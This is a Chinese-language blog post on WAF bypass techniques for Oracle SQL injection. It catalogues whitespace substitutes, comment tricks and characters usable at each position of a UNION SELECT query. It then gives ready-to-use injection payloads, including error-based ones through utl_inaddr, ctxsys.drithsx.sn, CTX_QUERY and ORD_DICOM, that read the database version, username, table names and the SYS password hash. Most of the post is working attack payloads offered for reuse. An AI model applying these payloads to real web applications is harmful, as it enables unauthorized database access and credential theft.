0x01 前言

我们经常利用一些数据库特性来进行WAF绕过。在Oracle中，比如可以这样：

```
空白字符：%00
获取数据库版本：SELECT banner FROM v$version where rownum=1
```

相比于Mysql/MSsql，它的特性相对较少，但确有其特殊之处，比如空白字符可以用%00替代，一个获取数据库版本的语句就这么长。一起去探索一下Oracle数据库特性，挖掘能够绕过WAF防护的数据库特性。

0x02 测试

常见有5个位置即： SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

位置一：参数和union之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20

2)注释符号/**/

3)其他字符

%2e . 点号

位置二：union和select之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20

2)注释符号/**/

位置三：select和查询参数之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20

2)注释符号/**/

3)其他字符

%2b +

%2d -

%ad

select * from emp where mgr=7782 union select+NULL,(SELECT banner FROM v$version where rownum=1),NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL

位置四：查询参数和from之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20

2)注释符号/**/

位置五：from后面的位置

1)空白字符

Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20

2)注释符号/**/

0x03 函数

类型一：常见函数

```
SELECT banner FROM v$version where rownum=1   //获取数据库版本
select user from dual where rownum=1          //获取当前连接数据库的用户名
select password from sys.user$ where rownum=1 and name='SYS'  //获取用户SYS密文密码
SELECT name FROM v$database                   //获取库名
select table_name from user_tables where rownum=1   //获取第一个表名
Tips：在oracle 里|| 是连接符号，但是在其他数据库里就不是
id=1 and 1=2 union select (chr(94)||chr(94)||chr(33)||(SELECT banner FROM v$version where
rownum=1)||chr(33)||chr(94)||chr(94)) from dual--
```

类型二：显错注入

```
?id=1 AND 1=utl_inaddr.get_host_address((SELECT name FROM v$database))-  //获取库名
?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where
rownum=1))-- //获取数据库服务器所在ip
?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where
rownum=1),'a','b')--
?id=1 Or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where
rownum=1),'a','b')--
?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not
null-
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--
```

0x04 END

本文汇总了一些常见的Oracle数据库特性和常见的数据库函数，仅作抛砖引玉之用，欢迎留言，顺便分享一下你了解的比较有意思的特性。

新文章将同步更新到我的个人公众号上，欢迎各位朋友扫描我的公众号二维码关注一下我，随时获取最新动态。


Bypass